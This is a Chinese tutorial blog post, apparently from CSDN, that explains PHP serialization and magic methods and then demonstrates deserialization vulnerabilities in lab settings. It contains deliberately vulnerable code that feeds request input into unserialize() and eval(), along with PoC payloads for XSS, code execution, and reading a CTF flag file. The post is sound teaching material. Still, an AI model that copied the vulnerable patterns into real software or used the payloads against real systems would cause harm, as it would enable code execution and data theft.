反序列化和序列化漏洞原理和解析

序列化和反序列化概念:序列化和反序列化是相对的,你可以就将其理解为数据的的编码和解码过程。一种语言系统下的数据结 构只有在当前这个系统下才能够识别运行;当数据需要跨语言跨系统传输时,必须将其转成一种中间结 构,这个中间结构能被双方识别、还原,这个过程就是序列化和反序列化。

通常的使用场景:通常有两个用途,存储和传输,其实都是转储(转储,由一存储介质转移到另一存储介质)

1. 最常见的是将数据由内存存储到硬盘。数据或者对象在俩者之间的表示是有区别的,为了能在两者 之间还原对象,需要以特定的方式读取和写入数据或者对象。

2. 又比如,在PHP中表示的一个数据对象结构和Javascript表示的对象结构是不同的。那么通过将java 中的一个数据对象序列化成一个Javascript能够识别结构(JSON格式),javascript就能将其还原成 语义相同的数据,在Javascript执行环境下运行

3. 还有图像数据的传输你也可以认为是一个序列化和反序列化的过程,在传输前将图像信息序列化成 一个二进制数据流带上图像格式信息,接收方在接收到二进制流后识别出图像格式,将其还原为相 应的图像对象显示出来

总结:序列化,将数据结构或对象转换成二进制串的过程。

反序列化,将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程。 无论是进程间、线程间的通讯,或者client和server通过socket通讯,还是把对象写到db(实际上也是 socket)。 这些交互都是通过收发二进制流的,所以发送时候需要将对象序列化二进制数据发送出去, 之后接收端收到二进制数据,再通过反序列化变成对象。

PHP中序列化和反序列化代码基础:

<?php
class Student
{
public $name = "jack";
public $age = 18;
public $address = "beijing";
}

然后序列化并输出:

<?php
include "./Student.php";
// 创建对象
$student = new Student();
// 序列化对象
$str = serialize($student);
// 输出
echo $str;

得到的结果输出为:

O:7:"Student":3:
{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}

现在对上面序列化之后的结果解释:

O:7:"Student" : O表示Object,7表示"Student" 的字符长度, "Student" 表示类名;:3 :3表示这个类有3个属性;此后的{}内就是这3个属性的具体属性名和属性值;{}中:格式是s::"";::;   s:4:"name";s:4:"jack";   属性名的数据类型是String    属性名的字符长度是4  属性名是name   属性值的数据类型是String    属性值的的字符长度是4   属性值是jack  这个地方s表示字符串,i表示数字

将序列化的字符串再反序列化成对象:

<?php
include "./Student.php";
// 创建对象
$student = new Student();
// 序列化对象
$str = serialize($student);
// 输出
echo $str;
echo "<hr/>";
// 接下来将这个字符串转换成对象
$obj = unserialize($str);
var_dump($obj);
// 获取属性
echo $obj->name;

得到的结果是:

注意:上面的代码是为了演示,实际情况,数据应该是写入文本或者实际网络传输。

接下来看一看魔术函数相关知识:

新创建一个People类:

<?php
class People
{
public function __sleep(){
echo "<br/>--------人睡觉了!----------";
return array();
}
public function __wakeup(){
echo "<br/>--------人睡醒了!----------";
}
}

进行序列化和反序列化:

<?php
include "./People.php";
// 创建对象
$people = new People();
// 序列化
$str = serialize($people);
// 反序列化
$obj = unserialize($str);

得到的结论是:序列化的时候: 会自动调用__sleep()函数。

反序列化的时候:会自动调用__wakeup()函数。

接下来改一下People类,增加一些属性:

<?php
class People
{
public $name;
public $age;
public function __construct($name, $age){
$this->name = $name;
$this->age = $age;
}
public function __sleep(){
echo "<br/>--------人睡觉了!----------";
return array();
}
public function __wakeup(){
echo "<br/>--------人睡醒了!----------";
}
}

过程代码:

<?php
include "./People.php";
// 创建对象
$people = new People("rose",18);
// 序列化
$str = serialize($people);
// 输出
echo $str;
// 反序列化
$obj = unserialize($str);
// 输出
var_dump($obj);

这个地方我们发现一个问题,没有数据。

所以需要了解一下sleep()和weakup()函数的作用:__sleep()函数的作用是指定需要序列化的属性。

增加一个属性,以及修改__sleep()函数。

<?php
class People
{
public $name;
public $age;
public $address;
public function __construct($name, $age, $address){
$this->name = $name;
$this->age = $age;
$this->address = $address;
}
public function __sleep(){
echo "<br/>--------人睡觉了!----------";
return array("name","age");
}
public function __wakeup(){
echo "<br/>--------人睡醒了!----------";
}
}

对应调用过程:

<?php
include "./People.php";
// 创建对象
$people = new People("rose",18,"shangHai");
// 序列化
$str = serialize($people);
// 输出
echo $str;
// 反序列化
$obj = unserialize($str);
// 输出
var_dump($obj);

__wakeup()函数的作用是可以指定在反序列化的时候指定对应属性的值。

public function __wakeup(){
echo "<br/>--------人睡醒了!----------";
$this->address = "BeiJing";
}

PHP中的魔术函数:

__construct(),类的构造函数,创建实例的时候会自动调用
__destruct(),类的析构函数,销毁对象的时候会自动调用
__call(),在对象中调用一个不可访问方法时调用
__get(),访问一个不存在的成员变量或访问一个private和protected成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(), 直接echo 对象的时候会调用

反序列化漏洞原理:

demo01

<?php
class Dog
{
public $name = "labuladuo";
}

然后将其序列化写入文件:

<?php
include "./Dog.php";
// 示例化
$dog = new Dog();
// 写入文本
file_put_contents("dog.txt", serialize($dog));

得到的内容:

O:3:"Dog":1:{s:4:"name";s:9:"labuladuo";}

然后反序列读取出来,并输出:

<?php
include "./Dog.php";
// 读取数据
$data = file_get_contents("dog.txt");
// 反序列化并输出
print_r(unserialize($data));

发现xss

demo02

准备如下代码:

<?php
header("content-type:text/html;charset=utf-8");
class Cat
{
public $name = "波斯猫";
public function __wakeup(){
echo $this->name;
}
}
// 接收参数
$data = $_REQUEST['data'];
// 反序列化
unserialize($data);

发现参数可控,构造poc:

O:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}

demo03

修改demo02的代码:

<?php
header("content-type:text/html;charset=utf-8");
class Cat
{
public $name = "波斯猫";
public function __wakeup(){
eval($this->name);
}
}
// 接收参数
$data = $_REQUEST['data'];
// 反序列化
unserialize($data);

修改poc:O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}

demo04

直接查看pikachu靶场:

对应的代码:

class S{
var $test = "pikachu";
function __construct(){ //类S的魔术方法被__construct()重写了
echo $this->test; //现在的作用是直接输出test的值
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}

发现参数可控,POST参数可控。

O:1:"S":1:{s:4:"test";s:29:"<script>alert('1)</scipt>";}

抓包修改post参数值,即可弹窗。

demo05

这是靶场中的练习。

明白两个点:

1. cookie中的值,反序列化之后肯定是一个数组

2. 存在cookie中的数据结构是固定的: md5值+序列化的值

接下来我们思考,如何才能获取到flag呢?

flag初步猜想放在一个文件中的,这个文件可能就是:flag.php/txt/..... 既然这个flag在文件中,我们又有方法显示文件的内容, 这个时候就需要结合起来,我们利用源码里面 的Readme这个类的__toString方法将flag显示出来 经过上面的分析,如果想要显示flag, 需要给Readme这个类的source属性指定=》 flag文件的路径。 并且一定要有地方可以输出Readme对象。

继续分析代码:

现在todos是从反序列化得到。

这个时候我们需要思考: 如果$todo是Readme对象,那么这个地方就会自动调用__toString,就会将对 应的源码显示出来.

payload的思路:

  • 1. 准备一个Readme对象,且source指向flag.php
  • 2. 将这个对象,放在数组中
  • 3. 对这个数组进行序列化
  • 4. 将序列化字符串进行加密,并连接上是序列化字符串
  • 5. 放在cookie中

准备payload的代码:

<?php
header("Content-type:text/html;charset=utf-8");
class Readme{
public $source;
public function __toString()
{
return highlight_file($this->source, true);
}
}
// 实例化
$readme = new Readme();
// 指定source
$readme->source = "flag.php";
// 放在数组中
$arr = array($readme);
// 序列化数组
$data = serialize($arr);
// 准备payload
$payload = md5($data).$data;
echo $payload;

反序列化漏洞的检测:反序列化漏洞的发现一般需审计源码,寻找可利用的pop链什么pop链?

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利 用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列 的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够 使用这一组调用链做一些工作了。

反序列化漏洞的防御

需要对要执行的代码,进行严格的校验。这里需要注意的是: 反序列漏洞在Java生态中出现的比较多,建议有Java基础的同学去研究一下 weblogic的反序列漏洞。

  • 26
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
第1章 注入类 课时1:SQL注入原理与利用 19'40 课时2:SQL注入宽字节原理与利用42'08 课时3:SQL Union注入原理与利用01'01'54 课时4:SQL注入布尔注入50'02 课时5:报错注入原理与利用29'27 课时6:CTF SQL基于约束注入原理与利用12'22 课时7:SQL注入基于时间注入的原理与利用50'13 课时8:SQL基于时间盲注的Python自动解题22'45 课时9:Sqlmap自动注入工具介绍23'47 课时10:Sqlmap自动注入实验 - POST注入13'34 课时11:SQL注入常用基础Trick18'15 第2章 代码执行与命令执行 课时1:代码执行介绍49'32 课时2:命令执行介绍20'14 课时3:命令执行分类20'12 课时4:命令执行技巧24'30 课时5:长度限制的命令执行25'46 课时6:无数字和字母命令执行10'27 第3章 文件上传与文件包含 课时1:文件上传漏洞原理与简单实验17'10 课时2:文件上传利用 - javascript客户端检查14'16 课时3:文件上传利用 - MIME类型检查10'50 课时4:文件上传利用 - 黑名单检查11'46 课时5:白名单检查13'09 课时6:Magic Header检查13'04 课时7:竞争上传21'10 课时8:简单利用15'47 课时9:文件包含介绍 - 伪协议zip和phar利用17'56 课时10:文件包含介绍-伪协议phpfilter利用04'54 课时11:日志文件利用07'58 课时12:日志文件利用session会话利用17'43 第4章 SSRF 课时1:SSRF介绍与简单利用19'14 课时2:SSRF限制绕过策略13'07 课时3:SSRF中可以使用的协议分析17'44 课时4:Linux基础知识21'37 课时5:Redis未授权访问漏洞利用与防御16'17 课时6:Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1:XXE-XML基础必备24'47 课时2:XXEXML盲注利用技巧18'22 第6章 第六章 课时1:序列序列介绍15'49 课时2:PHP序列识别与利用14'22 课时3:PHP序列特殊点介绍15'28 课时4:魔术方法20'35 课时5:序列漏洞案例 - 任意命令执行05'53 课时6:Phar序列10'38 第7章 第7章 Python基础 课时1:7.1-Requests模块安装与介绍15'28 课时2:7.2-Python requests库 使用18'26 课时3:7.3-XSS自动检测13'23 课时4:7.4-Python-SQL自动检测07'59 课时5:7.5-Python 源码泄露自动挖掘23'38 第8章 第8章 SSTI模板注入 课时1:8.1-Flask框架介绍与基础39'14 课时2:8.2-RCE 文件读写23'37 课时3:8.3-SSTI Trick技巧27'13
第1章 面向服务的体系架构(SOA) 1   本章主要介绍和解决以下问题,这些也是全书的基础:   HTTP协议的工作方式与HTTP网络协议栈的结构。   如何实现基于HTTP协议和TCP协议的RPC调用,它们之间有何差别,分别适应何种场景。   如何实现服务的动态注册和路由,以及软负载均衡的实现。   1.1 基于TCP协议的RPC 3   1.1.1 RPC名词解释 3   1.1.2 对象的序列 4   1.1.3 基于TCP协议实现RPC 6   1.2 基于HTTP协议的RPC 9   1.2.1 HTTP协议栈 9   1.2.2 HTTP请求与响应 15   1.2.3 通过HttpClient发送HTTP请求 16   1.2.4 使用HTTP协议的优势 17   1.2.5 JSON和XML 18   1.2.6 RESTful和RPC 20   1.2.7 基于HTTP协议的RPC的实现 22   1.3 服务的路由和负载均衡 30   1.3.1 服务的演变 30   1.3.2 负载均衡算法 33   1.3.3 动态配置规则 39   1.3.4 ZooKeeper介绍与环境搭建 40   1.3.5 ZooKeeper API使用简介 43   1.3.6 zkClient的使用 47   1.3.7 路由和负载均衡的实现 50   1.4 HTTP服务网关 54   第2章 分布式系统基础设施 58   本章主要介绍和解决如下问题:   分布式缓存memcache的使用及分布式策略,包括Hash算法的选择。   常见的分布式系统存储解决方案,包括MySQL的分布式扩展、HBase的API及使用场景、Redis的使用等。   如何使用分布式消息系统ActiveMQ来降低系统之间的耦合度,以及进行应用间的通信。   垂直的搜索引擎在分布式系统中的使用,包括搜索引擎的基本原理、Lucene详细的使用介绍,以及基于Lucene的开源搜索引擎工具Solr的使用。   2.1 分布式缓存 60   2.1.1 memcache简介及安装 60   2.1.2 memcache API与分布式 64   2.1.3 分布式session 69   2.2 持久存储 71   2.2.1 MySQL扩展 72   2.2.2 HBase 80   2.2.3 Redis 91   2.3 消息系统 95   2.3.1 ActiveMQ & JMS 96   2.4 垂直搜索引擎 104   2.4.1 Lucene简介 105   2.4.2 Lucene的使用 108   2.4.3 Solr 119   2.5 其他基础设施 125   第3章 互联网安全架构 126   本章主要介绍和解决如下问题:   常见的Web攻击手段和防御方法,如XSS、CRSF、SQL注入等。   常见的一些安全算法,如数字摘要、对称加密、非对称加密、数字签名、数字证书等。   如何采用摘要认证方式防止信息篡改、通过数字签名验证通信双方的合法性,以及通过HTTPS协议保障通信过程中数据不被第三方监听和截获。   在开放平台体系下,OAuth协议如何保障ISV对数据的访问是经过授权的合法行为。   3.1 常见的Web攻击手段 128   3.1.1 XSS攻击 128   3.1.2 CRSF攻击 130   3.1.3 SQL注入攻击 133   3.1.4 文件上传漏洞 139   3.1.5 DDoS攻击 146   3.1.6 其他攻击手段 149   3.2 常用的安全算法 149   3.2.1 数字摘要 149   3.2.2 对称加密算法 155   3.2.3 非对称加密算法 158   3.2.4 数字签名 162   3.2.5 数字证书 166   3.3 摘要认证 185   3.3.1 为什么需要认证 185   3.3.2 摘要认证的原理 187   3.3.3 摘要认证的实现 188   3.4 签名认证 192   3.4.1 签名认证的原理 192   3.4.2 签名认证的实现 193   3.5 HTTPS协议 200   3.5.1 HTTPS协议原理 200   3.5.2 SSL/TLS 201   3.5.3 部署HTTPS Web 208   3.6 OAuth协议 215   3.6.1 OAuth的介绍 215   3.6.2 OAuth授权过程 216   第4章 系统稳定性 218   本章主要介绍和解决如下问题:   常用的在线日志分析命令的使用和日志分析脚本的编写,如cat、grep、wc、less等命令的使用,以及awk、shell脚本的编写。   如何进

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值